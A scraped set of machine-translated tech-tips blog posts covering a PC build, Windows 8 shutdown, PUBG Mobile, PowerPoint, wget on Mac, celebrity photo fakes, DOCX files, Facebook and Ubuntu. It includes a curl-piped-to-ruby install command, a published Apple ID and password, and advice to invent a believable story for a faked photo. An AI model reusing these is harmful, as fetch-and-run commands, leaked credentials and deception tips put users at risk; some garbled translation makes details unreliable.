high-end kit, which represents the kit G. Perfect Storm 6GB (3 x x 2GB) is very suitable for overclocking. Reference price of the kit is 5 million VND (280 USD). + Graphics card (VGA)\n  Recent reviews show that the NVIDIA GeForce GTX 295 is the fastest and fastest graphics card, capable of providing excellent 3D support as well as SLI dual graphics technology support. This graphics card has a reference price of 9 million VND (500 USD).\n+ Hard drive You can choose the following 3 types of hard drives * Intel X-25m SSD drive : for high data transfer speed, fast boot. However, the installation needs to be very careful. This hard drive has a reference price for the 80GB version of 5.8 million VND (325 USD), 160GB version is 11.3 million VND (630 USD).\n  * 300GB Western Digital VelociRaptor drive: This drive offers very high operating speed and is always considered the best choice for those who only need to pay attention to the main performance. They have a reference price of 4.1 million VND (230 USD). * Western Digital Caviar Green WD20EADS 2TB drive: This drive is aimed at an object that needs an immense storage space. With it, users can save money as well as reduce the temperature in the system. However, its working speed is not appreciated. Reference price of this hard drive is 4.5 million VND (250 USD). + Sound card Fatal1ty Pro Creative X-Fi Titanium will be a great choice for high-end entertainment system with the excellent sound quality that this card offers. Card with reference price of 140 USD. + PSU (Power supply)\n  The Enermax Galaxy EGX1000EWL is considered an extremely bright representation for a high-end system. It has an operating capacity of up to 1KW with high stability, accompanied by smooth operation mode. The power supply voltage 24A 12V is very stable with an operating efficiency of 80%. The reference price is VND 6.3 million (USD 350).\n+ Cooling device\n  A good cooling device will help the CPU to operate efficiently. Thermalright Ultra 120 eXtreme 1366 will be the bright choice for systems using Core i7 CPU. They have a reference price of 1.53 million VND (85 USD).\n+ Computer case High-end computer cases need to have all the necessary connections to make the most of the power the other devices bring. Cooler Master RC-1100 Cosmos S ATX Full-Tower is a perfect choice. It supports up to 7 5.25-inch hard drives, 4 3.5-inch hard drives, 7 expansion slots. In addition, it also supports four USB ports, FireWire IEEE1394, eSATA, microphones, and audio. The reference price of this computer case is 3.6 million VND (200 USD). + Screen\n  Dell UltraSharp 3008WFP is 30 inches in size with the ability to support resolutions up to 2560 x 1600 pixels, 3000: 1 contrast ratio, 1080p HD video display with high definition. In addition, it has other connectivity options including: VGA, DVI-D with HDCP, HDMI, S-Video, Component, composite and DisplayPort. This LCD has a reference price of 1999 USD, but if purchased on Dell.com will save a lot when it only costs 24.1 million dong (1339 USD).\n+ Keyboard / mouse A wireless keyboard / mouse with advanced technology and very sensitive (like Gyration GO 2.4 \"is the most valuable option.) However, its reference price is quite expensive when it is up to 285 USD.\n  Part 2: Building intermediate system  Part 3: Building a primary system\nncG1vNJzZmismaXArq3KnmWcp51kr7a1y51kmmWSmsC1ecKopKmtpJq%2Fbr%2FYrKuepQ%3D%3D\n","link":"/post/build-a-best-computer-system/","section":"post","tags":null,"title":"Build a best computer system"},{"body":"Hybrid Boot and Hybrid Shutdown is the process of speeding up the startup and speeding up the normal shutdown time on Windows operating system. Typically, when you perform either Hybrid Boot and Hybrid Shutdown features, your computer will undergo a complicated process before booting or actually shutdown.\n1. What is Hybrid Boot and Hybrid Shutdown? Hybrid Boot and Hybrid Shutdown is the process of speeding up the startup and speeding up the normal shutdown time on Windows operating system.\nTypically, when you perform either Hybrid Boot and Hybrid Shutdown features, your computer will undergo a complicated process before booting or actually shutdown.\nNormal boot process:\nPre-boot -\u0026gt; System Initialization -\u0026gt; User Session Initialization\nProcess of Hybrid Boot:\nPre-boot -\u0026gt; Hiberfile read -\u0026gt; Driver Initialization -\u0026gt; User Session Initialization\nSystem Initialization \"consumes\" the most time on the computer. This is where drivers, services, and basic sessions are loaded into memory before the User Session is loaded. Windows 8 Hybrid Boot is part of Hibernate (hibernation mode) on the computer's boot system.\nWhen your computer is in Hibernate mode (your hibernation mode), your system will take a snapshot of System Initialization to use it when the computer is \"awake\". This process creates a Hiberfil file.\nWhen you turn off Windows 8 computer, it also means that you are using Hybrid Shutdown.\n2. How to disable Hybrid Boot on Windows 8 To disable Hybrid Boot on Windows 8, follow the steps below:\nStep 1: First enter power settings in the Search box on Start Screen.\n  Step 2: Click Change what the power buttons do.\n  \nStep 3: Click Change settings that are currently unavailable.\nStep 4: If the message appears, enter the Admin password to change the User Account Controls.\nStep 5: Under Shutdown settings, leave the Turn on fast startup (recommended) option unchecked.\n  Step 6: Click Save changes to save the changes and finally proceed to restart your computer.\n3. How to turn off Windows 8 computer normally? Since Windows 8, Microsoft has added new features for shutdown, this feature called Hybrid Shutdown. By default, Hybrid Shutdown is turned on, if you click the Shutdown button, it means that you are using Hybrid Shutdown.\nStep 1: Right-click any space on the Desktop.\nStep 2: Click New.\n  \nStep 3: Click on Shortcut.\n  \nStep 4: Enter the command below into the box Type the location of the item :\nshutdown -F -T ## -C \"Your message here\"\n\"##\" can be any number between 0 and 315360000.\nYou can enter any message you want in the \"Your message here\" section.\nThen click Next.\n  \nStep 5: Name the shortcut and click Finish to create a shortcut.\n  Step 6: Right-click the shortcut you just created on the Windows 8 Desktop and then click Properties.\n  \nStep 7: Click Change icon .\n  \nNow the screen appears a popup window warning the shortcut you created without the default icon, click OK to continue.\n  Step 8: Select any icon you want to add the Shutdown shortcut. Then click OK .\n  Step 9: Click Apply , then click OK.\nStep 10: Right-click the shortcut again.\nStep 11: Click on Pin to Start.\nStep 12: On the Start Screen interface, click on the Shutdown tile .\n  \nYou can now turn off your Windows computer normally by clicking on the tile Shutdown button.\nRefer to some of the following articles: All problems with starting Windows in Safe Mode 11 tips to help you fix 100% Full Disk error on Windows 8.1 Instructions to bring Safe Mode to the standard Boot Menu on Windows 8 and 10 Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ksaq%2FwJujnmWYrq%2BztcNmmainpGKur7CMrJ%2BurJSkxK95zqdksKGemby4v4xx\n","link":"/post/disable-hybrid-boot-and-shutdown-on-windows-8/","section":"post","tags":null,"title":"Disable Hybrid Boot and Shutdown on Windows 8"},{"body":"PlayerUnknown's Battlegrounds (PUBG) is an extremely popular shooter game - which attracts many players in the online game market today. Currently, to meet the demand of gaming anytime, anywhere of many people, PUBG has officially released a trial version for iPhone and Android phones. However, many of you do not know how to download and install because this version is still limited to the Chinese market. In this article, you will learn how to download PUBG Mobile for a trial experience.\n  Both PUBG Mobile versions from Lightspeed \u0026amp; Quantum Studios (subsidiary of Bluehole) and Timi Studio are tested on both iOS and Android platforms. However PUBG Moible: Army Assault produced by Timi is also expected to be an extended version compared to the original PC version.\n1. Download PUBG game for Android phones   For Android, it is quite easy, you just need to download the APK file to the phone then install it according to the instructions, note that after the installation is completed when running PUBG Mobile you have to wait to download more data from The server is on, so it's been a long time\nDownload PUBG for Android PUBG Lightspeed and Quantum Version PUBG Mobile Timi After successfully downloading, follow the following article to install the application from the APK file.\n2. Download PUBG game for iOS phones   As for iOS users, it is necessary to have a Chinese App Store account to be able to download. If you do not want to create an account, you can also use the account below of Network Administrator.\nStep 1 : First, you need to log out of your existing account, then log in to the following China Appstore account:\nID: Giangchina@icloud.com\nPass: Gi @ ng1910\nStep 2 : Then download PUBG Mobile to your phone, there are 2 versions: Standardpeed \u0026amp; Quantum Studio and Expansion (Timi Studio).\nDownload PUBG for iOS standard version Download PUBG for iOS expansion version Note: According to the evaluation, the expansion pack is for low and middle configuration devices, so it will be suitable for most devices available on the market. And the standard version for high-configuration machines (high-end line).\nStep 3 : After downloading the game, simply login to the WeChat or QQ account to play the game.\nSee more:\nThe secret to always winning when playing checkers If you want to be an excellent player when playing Agar.io, read this article PlayerUnknown's Battlegrounds keyboard shortcut ncG1vNJzZmismaXArq3KnmWcp51ksbDDzaWmmpxdpcKjs4ymppuhnJp6qK3MnmSfp6JitrC%2FjJqlnWWRo7Gzu8idZKmgn6OytA%3D%3D\n","link":"/post/download-pubg-mobile-game-for-ios-and-android-phones/","section":"post","tags":null,"title":"Download PUBG Mobile game for iOS and Android phones"},{"body":"What could be worse when you are preparing to report in front of people and unexpectedly discovering your presentation PowerPoint slides is very unusual.\nNot only are spelling errors in one or several slides, but these errors are very serious and can affect your entire report. The six ways listed below are ways to help fix some of the common mistakes on PowerPoint to avoid such unfortunate situations.\nPowerPoint error cannot run text around images For some reason, the formatting of the word and PowerPoint's image is always more difficult than the Word brother. However, if you have to do this, you have to choose the best way to do it manually, which is to create the space between the words to place the image in the middle.\n  To do this, you need to place the text and image on the same slide, adjust the image size freely, right-click the image and select Send to Back . Then, increase the distance between the words overlaid on the image until your image is no longer masked by the text. Although simple, but this way of doing manual is quite time consuming and has a huge disadvantage, that is you have to do this last step, because just change any parameters of the word, you will have to do again edit the distance between words to create space for the image.\nPowerPoint error changes the font in bulk You want to change the font you have selected for your presentation slide without having to do this for each page? All you have to do is click the small arrow next to the Replace button on the Home tab, select Replace Fonts and choose the font you need to change.\n  Which PowerPoint version is selected? One of the most unfortunate accidents with PowerPoint files in particular and Microsoft Office in general is that you cannot open the file just because of the different version. As you all know, there was a lot of change between Office 2003 and 2007, and the biggest change was in the format of the text. We can easily recognize this at the end of the file, such as .doc file and .docx file. The problem is that while Office 2007 and later versions can read both new and old formats, versions from 2003 and earlier cannot read new files.\nIn order to avoid this unfortunate situation, it is best to carefully save both new and old formats. In addition, for PowerPoint to save your slides by default in the old format, you can go to PowerPoint's Option ( Office \u0026gt; Powerpoint Option in PowerPoint 2007 or File \u0026gt; Option in PowerPoint 2010), select Save . On the Save file in this format , select PowerPoint 97 - 2003 .\n  The font color is not clear when using the projector When you need to show your slides via a projector, especially low-quality projectors, what you have to accept is that the display colors cannot be as perfect as on a computer screen, not to mention the effects. negative due to environmental lighting. It is these things that can cause difficult to read text because it blends into the background color.\n  In order to avoid this situation, it is best to choose the font colors - backgrounds with high contrast and comfort for the eyes of the viewer. Typical are four pairs of colors: white - black, red - blue, green - pink and blue - yellow.\nThe font is changed when playing on another computer It takes a very long time to choose the right font and color for your presentation, but when opening with another computer, you suddenly realize that this is not the font that I have chosen. This not only affects the aesthetics of a presentation slide, but also presents problems, such as placing images in the middle of the text mentioned above.\nTo avoid this, the best way to save a presentation slide is to embed the fonts you used during the slide design process, by going to PowerPoint's Options section, selecting Save and checking for Embed fonts section in the file.\n  PowerPoint audio files are inaudible Just like fonts, audio files with your presentation slides are also things that can disappear if you're not careful when you bring the slide to another computer. However, unlike fonts, to solve this problem, you don't just embed the audio file in the slide, because each version of PowerPoint has different ways to insert sound files, so when If you embed an audio file in a PowerPoint 2010 slide, even PowerPoint 2007 may not be readable.\n  The best way to bring an audio file into a presentation slide is to link it directly to the audio file instead of embedding it in a slide. To do this, you must first create a folder containing both the slide and audio files you use. For PowerPoint 2007, go to PowerPoint Option , select Advanced , scroll down to Save , in the section Link sound with file size greater than , please adjust so that this parameter is smaller than your smallest audio file size. Unlike PowerPoint 2007, the 2010 version does not have this option, so whenever you insert an audio file, in the Insert Audio panel, select the file you want by clicking on the file, go to the Insert menu at the bottom corner. Right of the table and select Link to File . From here, every time you want to move your presentation slide, you just need to copy an entire folder, it will definitely not happen the lost audio file.\nncG1vNJzZmismaXArq3KnmWcp51ks6rEjG9knKedoryvecSrqaiqo2K8r3nPqK6eqqCktq%2FAjKyjopyVqA%3D%3D\n","link":"/post/fix-6-common-errors-on-powerpoint-slides/","section":"post","tags":null,"title":"Fix 6 common errors on PowerPoint slides"},{"body":"Wget is a non-interactive command-line utility to download resources from a specified URL. Due to non-interaction, wget can operate in the background or before the user logs in. The program is specially designed for poor connections, making this tool particularly robust in unstable conditions. Although wget is not built into macOS, users can easily download and install with Homebrew, the best Mac package manager available.\nLearn about the wget command-line utility on Mac 1. Download and install Homebrew 2. Install wget 3. Use wget Download a single file Download a recursive directory  4. Other wget flags Download control Adjust the logging level  1. Download and install Homebrew   To install Homebrew, open the Terminal window and execute the following command, which is obtained from the Homebrew website (reference link https://brew.sh/):\n/usr/bin/ruby -e \"$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)\"  Users can see the command called curl, another command-line utility to download files from a URL, built-in with the Ruby installation included in macOS.\n2. Install wget   When the installation is complete, we will use Homebrew to install wget. In Terminal, run the following command to download and install wget:\nbrew install wget  Users will receive direct updates about the download process and install any required dependencies to run wget on the system.\nIf Homebrew is already installed, remember to run the brew update command to get the latest copies of all the recipes (software packages).\n3. Use wget   The purpose of wget is to download content from the URL. It is a quick and simple non-interactive tool to download files from any publicly accessible URL.\nDownload a single file Like the curl command, wget takes the remote resource through the URL and saves it to a specified location on the computer. The operation command structure is as follows:\nwget -O path/to/local.copy http://example.com/url/to/download.html  The above command will save the specified file in the URL to the specified location on the computer. If the -O flag is excluded, the specified URL will be downloaded to the current directory.\nDownload a recursive directory To download the entire directory tree with wget, users need to use the -r / - recursive and -np / - no-parent flags as follows:\nwget -e robots=off -r -np https://www.w3.org/History/19921103-hypertext/hypertext/  This command will cause wget to follow any links found on documents in the specified directory, download recursively the entire URL specified.\nThe command also includes -e robots = off , ignoring the restrictions in the robots.txt file . In general, disabling robot.txt to prevent shortened downloads is a bad idea.\n4. Other wget flags In addition to the above flags, some of the following wget flags are the most useful:\nDownload control wget -X / absolute / path / to / directory will exclude a specific directory on the remote server. wget -nH deletes the hostname directory. Remember, the hostname is part of the URL containing the domain name and ends with a TLD like '.com'. For example, the folder called www.w3.org in the previous example will be ignored, and start downloading with the 'History' folder instead. wget --cut-dirs = # ignore the number of directories specified under the URL before starting to download files. For example, -nH --cut-dirs = 1 will change the specified path of 'ftp.xemacs.org/pub/xemacs/' to '/ seeacs /', reducing the number of empty parent directories in the process download locally. wget -R index.html / wget --reject index.html will ignore all files that match the specified file name. In this case, this flag will exclude all index files. The * character can be used as a wildcard, like * .png, will ignore all PNG extension files. wget -i file specifies the target URL from an input file. The input file must be an HTML file or parsed in HTML format with additional --force-html flag. wget -nc / wget --no-clobber will not overwrite files that already exist at the destination. wget -c / wget --continue will continue to download downloaded files in part. wget -t 10 will attempt to download resources up to 10 times before reporting a failure. Adjust the logging level wget -d allows output debugging. wget -o path / to / log.tx t allows to output log to the specified directory instead of displaying standard output when logging in. wget -q disables all wget output, including error messages. wget -v allows to display wget's default detail output. wget --no-verbose turns off the log message but displays an error message. The article covers most of the use of wget, but this download has even more capabilities, you can learn more during use.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmmKecXarApnnWoJytZZ%2Bjeq6twg%3D%3D\n","link":"/post/how-to-install-and-use-wget-on-mac/","section":"post","tags":null,"title":"How to install and use wget on Mac"},{"body":" This wikiHow teaches you how to insert a photo of yourself into a photo of a famous person. You can use either free software (GIMP) or paid software (Photoshop) on both Windows and Mac computers to do this. Find a picture of the famous...\nMethod 1of 3:\nPreparing to Create Your Photo  Find a picture of the famous person. You'll need an image into which you can insert your own picture, so find and download a picture of the person with whom you want to make a photo. Ideally, you'll find a photo that leaves plenty of room for you to insert your own photo. Try to find an obscure, lesser-known photo of the famous person, as using a common photo will make it easier for people to identify the photo as fake. Using a photo in which the person is on level ground with natural lighting will help make your final result more convincing.   Find or take a picture of yourself. Once you've found your celebrity photo, you'll need to find a decent photo of yourself to use. You can also take a photo of yourself if you'd prefer not to use an existing photo. Take into account the conditions of the celebrity's photo when finding a picture of yourself. For example, if it's raining in the celebrity's photo, you probably shouldn't use an image of yourself in sunbathing attire. You'll want to make sure the photo of yourself comes close to matching the overall lighting conditions and resolution of the celebrity's photo. Nothing can flag your photo as fake faster than using a high-quality photo of the celebrity and a low-quality video of yourself.   Place both pictures in the same location. For simplicity's sake, make sure that both photos are in the same location on your computer (e.g., the desktop).\n  Download GIMP if you don't have it. If you're planning on using GIMP to edit your photos, you'll need to download and install it on your computer if you don't already have it: Windows — Go to https://www.gimp.org/downloads/, click Download GIMP directly, double-click the downloaded setup file, and follow the on-screen instructions. Mac — Go to https://download.gimp.org/mirror/pub/gimp/v2.8/osx/ in your computer's web browser, click the gimp-2.8.10-dmg-1.dmg link, double-click the DMG file, click and drag the GIMP logo onto the \"Applications\" folder, and follow any additional instructions. On a Mac, you may need to verify the installation before you can install GIMP.  If you're using Photoshop, skip this step.   Make sure you have a story ready. People will most likely have questions about the picture, so come up with an amusing anecdote or believable story about how the photo came into existence ahead of time.\n Method 2of 3:\nUsing GIMP  Find the size of the celebrity photo. You'll need to know the dimensions of your famous person's photo so that you can create a properly sized canvas later: Windows — Right-click the celebrity photo, click Properties in the drop-down menu, click the Details tab, and look at the size (number x number) to the right of the \"Dimensions\" heading. Mac — Click the celebrity photo, click File, click Get Info, and look at the size (number x number) in the \"More Info\" section (you may first have to click More Info).   Open GIMP. This process will vary depending on the computer you're using: Windows — Click Start  , type in gimp, and click GIMP at the top of the menu. Mac — Click Spotlight  , type in gimp, double-click GIMP, and click Open if prompted.   Open the photo of you. Before you can insert your photo into the celebrity's photo, you'll need to crop yourself out of your photo's background. Do the following to open the photo: Click File Click Open... Select the photo of yourself. Click Open   Add an alpha channel to the photo. The alpha channel will allow you to crop out your image without adding white space to the background: Click the Layer tab. Select Transparency Click Add Alpha Channel   Select your outline. You'll use the Free Select tool to do this: Click Tools Select Selection Tools Click Free Select Click and drag around the outline of yourself.   Crop out the background. Once you've outlined yourself, do the following: Press M to select your outline. Press Ctrl+i (Windows) or ⌘ Command+i (Mac) to invert the selection. Press Del or Ctrl+X (⌘ Command+X on Mac) to delete the background.   Touch up your photo. The easiest way to fix problems like jagged edges is by using the \"Blur\" tool: Click Tools Select Paint Tools Click Blur / Sharpen Click and drag across jagged edges. Hold down Ctrl or ⌘ Command while dragging to sharpen blurry textures.   Save the photo as a GIMP file. This will allow you to reintroduce it as a cropped image later: Click File Click Save As... Enter a file name, then select the folder in which you saved your famous person's photo. Click Save   Close the current project. Click the X in the top-right corner of the window. If you're on a Mac, you'll click the red circle in the upper-left corner of the window.   Open a new project with your celebrity photo's dimensions. This is where you'll need the dimensions you found earlier: Click File Click New... Enter your celebrity photo's dimensions in the \"Width\" and \"Height\" text fields. Click OK   Open both photos in the project. Once you've created the canvas, you can add both the celebrity photo and the cropped photo as layers: Click File Click Open as Layers... Click your celebrity photo, then hold down Ctrl (Windows) or ⌘ Command+Mac while clicking the GIMP file you created. Click Open   Adjust the layers' order. If the celebrity photo opened on top of your cropped image or if you're unable to edit the cropped image, do the following: Press Ctrl+L or ⌘ Command+L. Click and drag your GIMP file to the top of the window. Click your GIMP file.   Resize the image of yourself. In most cases, you'll need to change the cropped image's size to fit the scale of the celebrity's photo: Click Tools Click Transform Tools Click Scale Click your image, then click and drag to resize it. Click Scale   Reposition your image. Press M to bring up the movement tool, then click and drag your image to reposition it as needed. For example, you might move your image to place it in a standing position on a sidewalk, or move your image closer to the celebrity's image.   Flatten the layers. Once you're satisfied with your image's appearance, you'll need to merge both layers into one file: Click Image Click Flatten Image   Export your project. This will allow you to save your project as an individual photo on your computer: Click File Click Export... Enter a file name. Select a save folder. Click Export, then click Export again if prompted.  Method 3of 3:\nUsing Photoshop  Open Photoshop. This process will vary depending on the computer you're using: Windows — Click Start  , type in photoshop, and click Photoshop at the top of the menu. Mac — Click Spotlight  , type in photoshop, and double-click Photoshop at the top of the results.   Open both photos in Photoshop. You'll need both your celebrity photo and your personal photo in Photoshop as separate files:[1] Click File Click Open... Hold down Ctrl (Windows) or ⌘ Command (Mac) while clicking both your celebrity image and your personal image. Click Open Follow any on-screen prompts.   Click the tab for the photo of you. It should be at the top of Photoshop. Doing so will bring up your photo in the main Photoshop window.\n  Open the Quick Selection tool. Click the paintbrush-shaped Quick Selection tool icon in the left-hand toolbar, then click the square New Selection icon in the options bar.[2] If you don't see the Quick Selection tool, click and hold the Magic Wand selection tool (which resembles a wand with a star on it) until Quick Selection appears next to it.   Select your outline. Click inside of your picture until the whole picture is selected. You may need to zoom in on the picture to select some of the finer details (e.g., pieces of hair).   Subtract any extra edges. Click the Subtract icon, which resembles white and black overlapping squares, then click any parts of the selection which stray outside of the section you want to copy. For example, if Photoshop selected a section of the background behind you, you'd click that part of the selection to remove it and contain the selection to your outline.   Open the \"Refine Edge\" menu. Click Select at the top of the Photoshop window (or, on a Mac, at the top of the screen), then hold down ⇧ Shift while clicking Select and Mask... in the drop-down menu.[3]\n  Remove any jagged edges. Click and drag the \"Refine\" brush across any sections of the selection which look jagged or unnatural, then click OK when you're done. You'll notice this most with hair and pieces of clothing.   Copy the selection. Click Edit, then click Copy in the resulting drop-down menu. You can also press Ctrl+C (Windows) or ⌘ Command+C (Mac).   Paste the selection into the famous person's photo. Click the tab for the photo of the celebrity, then click Edit and click Paste in the resulting drop-down menu. You should see the copied outline appear in the celebrity's photo. You can also press Ctrl+V (Windows) or ⌘ Command+V (Mac) to do this.   Adjust the image's size and position. Click Image, click Free Transform in the drop-down menu, and then adjust the following attributes of the image: Position — Click and drag the center of the image to your preferred spot. Size — Click and drag one of the corners of the image inward to shrink it or outward to enlarge it.   Save your completed project. Once you're satisfied with your photo's appearance, you can save it as a cohesive image on your computer: Click File Click Save As... Enter a file name. Select a save location. Select a format (e.g., JPG for a photo). Click Save.   Lesley Montoya Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWRoLJurYyfmKSdXaW2pMDUq5xmr5mptW6ywKamrqtdpbKwvMueZK2nXZ66sb7ErKpmsZ%2Bqv26y0aKcp5yjYq6vsIyfmKahnK4%3D\n","link":"/post/how-to-make-a-fake-picture-with-famous-people-to-impress-your-friends-and-family/","section":"post","tags":null,"title":"How to Make a Fake Picture With Famous People to Impress Your Friends and Family"},{"body":".DOCX files are Microsoft Word documents created with Microsoft Word 2007 or later. This wikiHow teaches you how to open a file with the .DOCX file extension when you don't have Microsoft Office installed on your computer. Even without...\nMethod 2of 3:\nUsing Google Drive on a Computer  Go to https://drive.google.com in a web browser. If you're not already signed in to a Google/Gmail account, click the Go to Google Drive button, and then sign in or create an account now. Google Drive will convert documents to the Google format, which will allow you to open it. You can then download it as a different format, or edit it directly in Drive.   Click the + New button. It's near the top-left corner of the page. A menu will expand.\n  Click File Upload. This opens your computer's file browser.\n  Select the .DOCX file and click Open. This uploads the file to Google Drive. When the file is finished uploading, it will appear in your file list.\n  Double-click the file name to see a preview. If you don't need to edit the document, you can use this preview to see what's in the file.\n  Select Google Docs from the \"Open With\" menu. It's the menu at the top-center part of the preview. Once selected, the file will open in the Google Docs editor. If you want to edit the file, you can do so in this editor. Your changes will be saved automatically to the uploaded file in Google Drive. To download the edited version of the file, click File, select Download, and then select the desired format.  Method 3of 3:\nUsing Microsoft Word Mobile  Download Microsoft Word from the App Store   or Play Store   . If you need to open a .DOCX file on your phone or tablet and haven't yet installed the free Microsoft Word app, start by doing so now. Android: Open the Play Store app in the app drawer, search for Microsoft word, and then tap INSTALL on the app. iPhone/iPad: Open the App Store, tap Search, and search for Microsoft Word. When you find it, tap GET to install it.   Open Microsoft Word on your phone or tablet. It's the blue-and-white document icon with a \"W\" on its left side. If it's your first time using the app, follow the on-screen instructions to navigate through the welcome screens.   Tap Open. It's the folder icon at the bottom of the screen.\n  Select the document you want to open. Browse to the folder on your phone or tablet where the document is saved, or follow the on-screen instructions to add a cloud service (e.g., OneDrive, Dropbox) and select it from there. Once selected, the document will open in Word. If you selected a document from a cloud account, it may take a few moments for it to download before opening.   Samuel Daniel Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqegmrturYydppywXZu2rbE%3D\n","link":"/post/how-to-open-a-docx-file/","section":"post","tags":null,"title":"How to Open a .DOCX File"},{"body":"Social network Facebook is the largest social network in the world today with thousands of different features to support users. However, if you delete the wrong article on Facebook, you will take a long time to restore, at least it can be restored, not impossible to recover. In this article, Software Tips will guide you how to restore posts on Facebook.\n  First, the Software Tips will delete any posts on Facebook go to start recovery.\n  Step 1: You proceed to access Facebook Settings (settings) to request permission to copy data.\nHome Settings: https://www.facebook.com/settings\nStep 2: After that, select the General tab and click on the Contact section to view the expanded content. Here, you select the section Download your information .\n  Step 3: Next, you select the content you want to copy data to the device. In this article, we restore the article, so we will only select the Articles section only. Finally, select Create File and wait for the system statistics.\n  Step 4: You notice your Email because after Facebook has finished listing data, they will send an email to Email so you can download article data to your computer. Please search for messages in Inbox or Spam . Go ahead and open Facebook's mail and select Download your information .\n  Step 5: At this point, you will be returned to the Facebook interface and you will see a backup of your article data. You select Download to download them to your computer.\n  Step 6: After the download is complete, you proceed to extract to use the file to copy the article data. Open the Post folder and navigate to Your_Post file , then Right-click and select Open With -\u0026gt; Google  Chrome / Firefox.\nNote: Google Chrome and Firefox browsers are two browsers that view Facebook's backup files effectively, without lag.\n  Step 7: Next, you drag the file copy data Facebook article and find the article you want to recover. You click on  the article timeline to view them in the archive.\n  Step 8: At this time, you will be moved to the archive of deleted posts on Facebook. You choose mark  3 horizontal dots and select Restore article .\n  Thus, your article has been successfully restored. However, you will not be able to see who has interacted (like, like, emotion) with that article but you only see the number of people interacting only.\n  In this article, Software Tips guide you how to recover deleted posts on Facebook simply. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVmLy3sdFmm56klamypXnPqKqtq12ku26ywJycm6efoA%3D%3D\n","link":"/post/how-to-recover-deleted-posts-on-facebook/","section":"post","tags":null,"title":"How to recover deleted posts on Facebook"},{"body":"You want to find a solution to try Ubuntu but don't like the idea of ​​creating a partition, using the CD drive directly, or not having enough resources to run a virtual machine.Try using the Wubi installer program to run to Ubuntu.\nDownload the Wubi program here\nWubi is an officially supported Ubuntu installer that allows Windows users to easily experience in Linux. Using Wubi to install Ubuntu is similar to what you use to install any other software in Windows. It saves a lot of resources by creating another partition or creating a virtual machine. Wubi was developed a few years ago, and the official version is available on the Ubuntu 8.04 CD. We can install Wubi from the Ubuntu CD or we can download Wubi.exe and install Ubuntu\nInstall Ubuntu with Wubi from Ubuntu CD\nIn this first method, we downloaded the Ubuntu Live ISO and burned it to a CD. In Windows point to the installation disk of Ubuntu 9.10 and run Wubi.exe\n  At the Ubuntu Menu screen, click the Install inside Windows button\n  At the Ubuntu Installer screen, select the language, installation drive, installation size, name and password and then click Install .\n  Waiting for the installation process to finish .\n  When it is complete, it will ask you to reboot the computer but you may not need to reboot.\n  Instructions to Install Ubuntu from Wubi.exe\nInstall Ubuntu from Wubi.exe\nIf you don't have an Ubuntu CD available, another way is to download Wubi Installer and start the installation process. This will greatly simplify the installation process because there is no need to download the ISO file and burn it to disk. One point to note with this method is that you will have the option to expand the type of Desktop Environment you want to install. In this example we will select the Kubuntu environment\n  Now when the installation is ready, it will download the appropriate ISO file for the selected desktop environment. Kubuntu uses the KDE environment, which is different from Gnome used in Ubuntu. The main difference is that KDE has a flashier and easier graphics mode for Windows users in adaptation issues.\n  You should install it in the C: Ubuntu folder\n  Boot into Ubuntu\nAfter the first reboot, you can choose between Windows 7 or Ubuntu at the Windows startup management screen.\n  When you first boot into Ubuntu, wait a few minutes until the installer finishes. You will see a series of screens and then the main installation screen is displayed indicating the progress and the screen indicates the features available in Ubuntu 9.10.\n  Your system will restart again and you will have two choices between Windows 7 or Ubuntu.\n  When you select Ubuntu from the boot management screen, it will go to the GRUB bootloader where you can choose Ubuntu, Recovery Mode , or go back to the Windows 7 boot manager.\n  At the Ubuntu login screen you will declare the username and password you provided in the previous step.\n  Now you can easily boot into Ubuntu.\n  This is the Kubuntu interface after a few minor tweaks\n  After Ubuntu finishes installing, you can select the default boot system by going to the Advance System Settings Starup and Recovery . then choose between Windows or Ubuntu.\n  Instructions Un-install Ubuntu\nUninstall Ubuntu\nIf you don't like using Ubuntu anymore, please remove it from your computer. First, boot into Windows 7 and go to Add / Remove Programs .\n  Or use a utility like Revo Uninstaller\n  The uninstall process will be simple with just two screens.\n  Now it has been removed and you have an empty area of ​​your hard drive as before. When you reboot your system, you won't have to worry about GRUB or other bootloaders. Your device will boot directly into Windows.\n  Conclude\nThis is probably the easiest way for people to start using Linux to experiment with Ubuntu without having to create a partition and the installation is very simple. In this article we use Windows 7 but it works with other versions of Windows except Windows ME. If you want to test Ubuntu, try installing Wubi.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F05qjpWWll8KvwNRmoKdlp567pbvWrGSuq5mjtG7Ax55ksK2SnnqqutKtmKWklac%3D\n","link":"/post/install-ubuntu-in-windows-using-the-wubi-installer/","section":"post","tags":null,"title":"Install Ubuntu in Windows using the Wubi Installer"},{"body":"VideoProc is a professional video processing software on Mac and Windows computers from Digiarty Software developer. Usually this professional video processing tool costs $ 79 but is currently offering a free copyright promotion until November 30, 2018 and only limits to 500 license codes per day.\nIf you need to use it, please quickly register to be able to own this useful application without spending any money.\n  VideoProc's main features:\nSupport HEVC / H.264 video transcoding, convert any video, audio and DVD. Customize video quality and reduce file size but still ensure video quality. Support downloading 4K / 1080p videos from more than 1000 websites. Record videos from a computer screen or webcam, backup DVDs easily and quickly. 64 times faster processing than other tools by optimizing between software and hardware. Support encoding or decoding video. Provide compression ratio over 90% to change video size. Support video editing easily with tasks like cut, rotate, flip, merge, increase image stability, reduce noise, filter more subtitles, effects, format conversion . . VideoProc's guide to registering for free lifetime license.\nStep 1: Go to the link below, at Computeer Platform , click to select Mac or Windows depending on the operating system you are using -\u0026gt; enter email address -\u0026gt; click Enter to Win .\nVideoProc - Process 4K / HD Videos in an Easier Way   Step 2: At the new page interface, click Get Free Copy to download the software installation file and license activation code.\n  Step 3: Extract the downloaded installation file.\n  Step 4: Install the software on the computer.\nStep 5: Open VideoProc software, enter the email registered in step 1 and activation code -\u0026gt; click Activiate to activate the license.\n  You can consult about how to use VideoProc's user guide and tips at the link below.\nhttps://www.videoproc.com/iphone-video-processing/\nNote:\nVideoProc's free lifetime license for video processing software will end on November 30, 2018 and limit 500 licenses per day.\nSee more:\nTop 10 best free Keylogger software with Windows 7 best free PDF file editing software 3 apps to help kids learn Math for free on Windows 10 